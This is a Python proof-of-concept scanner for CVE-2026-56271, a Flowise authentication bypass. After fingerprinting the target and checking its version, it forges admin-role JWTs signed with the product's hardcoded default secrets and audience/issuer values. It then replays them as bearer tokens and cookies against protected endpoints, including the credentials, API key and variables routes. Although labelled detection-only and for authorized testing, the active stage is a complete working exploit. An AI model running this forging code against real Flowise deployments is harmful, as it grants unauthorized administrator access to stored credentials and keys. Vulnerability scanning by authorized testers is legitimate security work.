#!/usr/bin/env python3
"""
CVE-2026-56271 - Flowise Authentication Bypass via Hardcoded JWT Secrets PoC
CVSS: 9.8 | CWE: CWE-321

Flowise before 3.1.0 uses weak hardcoded default JWT secrets ('auth_token',
'refresh_token') and default audience/issuer values ('AUDIENCE', 'ISSUER')
in the enterprise passport authentication middleware. When the corresponding
environment variables are not set, the application silently falls back to
these publicly known defaults, allowing forged JWTs to impersonate any user.

For authorized security testing only.
"""

import argparse
import re
import sys
import time
import uuid
from urllib.parse import urljoin, urlparse

import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

try:
    import jwt as pyjwt
except ImportError:
    print("[ERROR] PyJWT is required. Install with: pip install pyjwt")
    sys.exit(2)

TIMEOUT = 10
USER_AGENT = "AttackWatch-PoC-Scanner/1.0 (CVE-2026-56271)"

HARDCODED_AUTH_SECRET = "auth_token"
HARDCODED_REFRESH_SECRET = "refresh_token"  # noqa: S105
HARDCODED_AUDIENCE = "AUDIENCE"
HARDCODED_ISSUER = "ISSUER"

FLOWISE_PROBE_PATHS = [
    "/",
    "/api/v1/ping",
    "/api/v1/version",
    "/api/v1/chatflows",
    "/api/v1/settings",
]

PROTECTED_PATHS = [
    "/api/v1/chatflows",
    "/api/v1/credentials",
    "/api/v1/apikey",
    "/api/v1/variables",
    "/api/v1/assistants",
    "/api/v1/tools",
    "/api/v1/settings",
    "/api/v1/user",
    "/api/v1/organization",
    "/api/v1/workspace",
]

FLOWISE_INDICATORS = [
    "flowise",
    "flowiseai",
    "flowise-ui",
    "/api/v1/chatflows",
    "/api/v1/ping",
]

VULNERABLE_VERSION_CEILING = (3, 1, 0)


def _vprint(verbose, msg):
    if verbose:
        print(f"[*] {msg}")


def _request(method, url, verbose=False, **kwargs):
    kwargs.setdefault("timeout", TIMEOUT)
    kwargs.setdefault("verify", False)
    kwargs.setdefault("allow_redirects", False)
    headers = kwargs.pop("headers", {}) or {}
    headers.setdefault("User-Agent", USER_AGENT)
    kwargs["headers"] = headers
    _vprint(verbose, f"{method.upper()} {url}")
    return requests.request(method, url, **kwargs)


def _parse_semver(text):
    if not text:
        return None
    m = re.search(r"(\d+)\.(\d+)\.(\d+)", text)
    if not m:
        return None
    return tuple(int(x) for x in m.groups())


def check_product(target, verbose=False):
    """Stage 1: Product detection (Passive)"""
    _vprint(verbose, "Stage 1: Passive product detection")
    for path in FLOWISE_PROBE_PATHS:
        url = urljoin(target, path)
        try:
            resp = _request("GET", url, verbose=verbose)
        except requests.RequestException as exc:
            _vprint(verbose, f"Probe error at {path}: {exc}")
            continue

        body_lower = (resp.text or "").lower()[:8192]
        headers_blob = " ".join(f"{k}:{v}" for k, v in resp.headers.items()).lower()
        combined = body_lower + " " + headers_blob

        for marker in FLOWISE_INDICATORS:
            if marker in combined:
                _vprint(verbose, f"Flowise indicator '{marker}' found at {path}")
                return True

        if path.endswith("/api/v1/ping") and resp.status_code == 200 and "pong" in body_lower:
            _vprint(verbose, "Flowise /api/v1/ping returned 'pong'")
            return True

        if path.endswith("/api/v1/version") and resp.status_code == 200:
            try:
                data = resp.json()
                if isinstance(data, dict) and "version" in data:
                    _vprint(verbose, f"Flowise /api/v1/version returned {data}")
                    return True
            except ValueError:
                pass

    _vprint(verbose, "No Flowise indicators found in passive probes")
    return False


def check_version(target, verbose=False):
    """Stage 2: Version detection (Passive)"""
    _vprint(verbose, "Stage 2: Passive version detection")
    result = {"potentially_vulnerable": False, "version": None, "evidence": None}

    url = urljoin(target, "/api/v1/version")
    try:
        resp = _request("GET", url, verbose=verbose)
    except requests.RequestException as exc:
        _vprint(verbose, f"Version endpoint error: {exc}")
        return result

    if resp.status_code != 200:
        _vprint(verbose, f"Version endpoint returned HTTP {resp.status_code}")
        return result

    version_str = None
    try:
        data = resp.json()
        if isinstance(data, dict):
            version_str = data.get("version") or data.get("Version")
    except ValueError:
        version_str = None

    if not version_str:
        version_str = resp.text.strip()[:64] if resp.text else None

    semver = _parse_semver(version_str) if version_str else None
    if not semver:
        _vprint(verbose, "Could not parse a semantic version string")
        return result

    result["version"] = ".".join(str(x) for x in semver)
    if semver < VULNERABLE_VERSION_CEILING:
        result["potentially_vulnerable"] = True
        result["evidence"] = (
            f"Detected Flowise version {result['version']} "
            f"< {'.'.join(str(x) for x in VULNERABLE_VERSION_CEILING)}"
        )
        _vprint(verbose, result["evidence"])
    else:
        _vprint(verbose, f"Detected Flowise version {result['version']} (not in vulnerable range)")

    return result


def _forge_token(secret, audience, issuer, subject=None, extra_claims=None, algorithm="HS256"):
    now = int(time.time())
    payload = {
        "id": subject or str(uuid.uuid4()),
        "username": "attackwatch-detector",
        "name": "AttackWatch Detector",
        "email": "detector@attackwatch.local",
        "role": "ADMIN",
        "permissions": ["*"],
        "iat": now,
        "nbf": now,
        "exp": now + 3600,
        "aud": audience,
        "iss": issuer,
    }
    if extra_claims:
        payload.update(extra_claims)
    return pyjwt.encode(payload, secret, algorithm=algorithm)


def _auth_variants(token):
    """Header/cookie variants the passport middleware may accept."""
    return [
        {"kind": "bearer", "headers": {"Authorization": f"Bearer {token}"}, "cookies": {}},
        {"kind": "cookie_token", "headers": {}, "cookies": {"token": token}},
        {"kind": "cookie_access", "headers": {}, "cookies": {"access_token": token}},
        {"kind": "cookie_jwt", "headers": {}, "cookies": {"jwt": token}},
    ]


def auth_check(target, verbose=False):
    """Stage 3a: auth_check - baseline authentication enforcement."""
    _vprint(verbose, "Stage 3a: auth_check - verifying baseline authentication enforcement")
    baseline = {"enforced": False, "path": None, "status": None}
    for path in PROTECTED_PATHS:
        url = urljoin(target, path)
        try:
            resp = _request("GET", url, verbose=verbose)
        except requests.RequestException as exc:
            _vprint(verbose, f"auth_check network error on {path}: {exc}")
            continue

        if resp.status_code in (401, 403):
            baseline.update({"enforced": True, "path": path, "status": resp.status_code})
            _vprint(verbose, f"Baseline auth enforced on {path}: HTTP {resp.status_code}")
            return baseline
        _vprint(verbose, f"{path} unauthenticated status: HTTP {resp.status_code}")

    return baseline


def bypass_based(target, verbose=False):
    """Stage 3b: bypass_based - forge JWTs with hardcoded defaults and access protected endpoints."""
    _vprint(verbose, "Stage 3b: bypass_based - forging JWTs using hardcoded defaults")
    outcome = {
        "confirmed": False,
        "confidence": 0,
        "evidence": None,
        "method": "bypass_based",
    }

    secrets_to_try = [
        ("auth", HARDCODED_AUTH_SECRET),
        ("refresh", HARDCODED_REFRESH_SECRET),
    ]

    unauth_status = {}
    for path in PROTECTED_PATHS:
        url = urljoin(target, path)
        try:
            resp = _request("GET", url, verbose=verbose)
            unauth_status[path] = resp.status_code
        except requests.RequestException:
            unauth_status[path] = None

    for secret_label, secret in secrets_to_try:
        try:
            token = _forge_token(secret, HARDCODED_AUDIENCE, HARDCODED_ISSUER)
        except Exception as exc:  # noqa: BLE001
            _vprint(verbose, f"Token forge failure ({secret_label}): {exc}")
            continue
        _vprint(verbose, f"Forged {secret_label} JWT with hardcoded secret '{secret}'")

        for variant in _auth_variants(token):
            for path in PROTECTED_PATHS:
                url = urljoin(target, path)
                try:
                    resp = _request(
                        "GET",
                        url,
                        verbose=verbose,
                        headers=variant["headers"],
                        cookies=variant["cookies"],
                    )
                except requests.RequestException as exc:
                    _vprint(verbose, f"bypass request error on {path}: {exc}")
                    continue

                base = unauth_status.get(path)
                promoted = (
                    base in (401, 403)
                    and resp.status_code not in (401, 403)
                    and resp.status_code < 500
                )
                looks_auth_ok = resp.status_code == 200 and (
                    "application/json" in resp.headers.get("Content-Type", "").lower()
                    or resp.text.strip().startswith(("[", "{"))
                )

                if promoted or (base is None and looks_auth_ok):
                    evidence = (
                        f"Forged JWT (secret='{secret}', aud='{HARDCODED_AUDIENCE}', "
                        f"iss='{HARDCODED_ISSUER}') via {variant['kind']} accepted at {path}: "
                        f"unauth HTTP {base} -> auth HTTP {resp.status_code}"
                    )
                    outcome.update(
                        {
                            "confirmed": True,
                            "confidence": 95 if promoted else 80,
                            "evidence": evidence,
                            "method": f"bypass_based:{secret_label}:{variant['kind']}",
                        }
                    )
                    _vprint(verbose, f"CONFIRMED bypass: {evidence}")
                    return outcome

    return outcome


def check_vulnerability(target, active_test=True, callback_url=None, verbose=False):
    """Main vulnerability check orchestrator"""
    results = {
        "vulnerable": False,
        "confidence": 0,
        "evidence": None,
        "method": None,
        "stage": None,
    }

    if not check_product(target, verbose):
        results["evidence"] = "Target does not appear to be running Flowise"
        results["stage"] = "product_check"
        return results

    version_result = check_version(target, verbose)
    if version_result.get("potentially_vulnerable"):
        results["stage"] = "version_check"
        results["confidence"] = 30
        results["evidence"] = version_result.get("evidence")

    if active_test:
        baseline = auth_check(target, verbose)
        if not baseline.get("enforced"):
            _vprint(verbose, "Warning: no protected endpoint returned 401/403; bypass may be noisy.")

        test_result = bypass_based(target, verbose)
        if test_result.get("confirmed"):
            results.update(
                {
                    "vulnerable": True,
                    "confidence": test_result["confidence"],
                    "evidence": test_result["evidence"],
                    "method": test_result["method"],
                    "stage": "active_test",
                }
            )
            return results

    return results


def main():
    parser = argparse.ArgumentParser(
        description="CVE-2026-56271 Flowise Hardcoded JWT Secret Detection PoC (detection only)"
    )
    parser.add_argument("-t", "--target", required=True, help="Target URL (http:// or https://)")
    parser.add_argument("-c", "--check", action="store_true", help="Run vulnerability check")
    parser.add_argument("--version-only", action="store_true", help="Passive version check only")
    parser.add_argument("--callback", help="Callback URL for OOB detection (unused for this CVE)")
    parser.add_argument("-v", "--verbose", action="store_true", help="Verbose output")
    parser.add_argument("--timeout", type=int, default=10, help="Request timeout in seconds")

    args = parser.parse_args()

    global TIMEOUT
    TIMEOUT = args.timeout

    target = args.target.strip()
    parsed = urlparse(target)
    if not parsed.scheme:
        target = "http://" + target
        parsed = urlparse(target)
    if parsed.scheme not in ("http", "https"):
        print("[NOT VULNERABLE]")
        print("Confidence: 0%")
        print(f"Evidence: Unsupported URL scheme '{parsed.scheme}'")
        sys.exit(2)

    try:
        if args.version_only:
            if not check_product(target, args.verbose):
                print("[NOT VULNERABLE]")
                print("Confidence: 100%")
                print("Evidence: Target does not appear to be Flowise")
                sys.exit(0)

            version_result = check_version(target, args.verbose)
            if version_result.get("potentially_vulnerable"):
                print("[POTENTIALLY VULNERABLE]")
                print("Confidence: 30%")
                print(f"Evidence: {version_result.get('evidence')}")
                print("Method: version_check")
                print("Stage: version_check")
                print("Note: Version-only check - active testing recommended")
                sys.exit(1)
            print("[NOT VULNERABLE]")
            print("Confidence: 80%")
            evidence = (
                f"Detected version {version_result.get('version')} not in vulnerable range"
                if version_result.get("version")
                else "Version endpoint did not indicate a vulnerable release"
            )
            print(f"Evidence: {evidence}")
            sys.exit(0)

        result = check_vulnerability(
            target,
            active_test=True,
            callback_url=args.callback,
            verbose=args.verbose,
        )

        if result["vulnerable"]:
            print("[VULNERABLE]")
            print(f"Confidence: {result['confidence']}%")
            print(f"Evidence: {result['evidence']}")
            print(f"Method: {result['method']}")
            print(f"Stage: {result['stage']}")
            sys.exit(1)

        print("[NOT VULNERABLE]")
        confidence = 100 - result.get("confidence", 0)
        print(f"Confidence: {confidence}%")
        if result.get("evidence"):
            print(f"Evidence: {result['evidence']}")
        if result.get("method"):
            print(f"Method: {result['method']}")
        if result.get("stage"):
            print(f"Stage: {result['stage']}")
        sys.exit(0)

    except requests.exceptions.SSLError as exc:
        print("[NOT VULNERABLE]")
        print("Confidence: 0%")
        print(f"Evidence: SSL error - {exc}")
        sys.exit(2)
    except requests.exceptions.ConnectionError as exc:
        print("[NOT VULNERABLE]")
        print("Confidence: 0%")
        print(f"Evidence: Connection error - {exc}")
        sys.exit(2)
    except requests.exceptions.Timeout:
        print("[NOT VULNERABLE]")
        print("Confidence: 0%")
        print(f"Evidence: Request timed out after {TIMEOUT}s")
        sys.exit(2)
    except Exception as exc:  # noqa: BLE001
        print("[NOT VULNERABLE]")
        print("Confidence: 0%")
        print(f"Evidence: Unexpected error - {type(exc).__name__}: {exc}")
        sys.exit(2)


if __name__ == "__main__":
    main()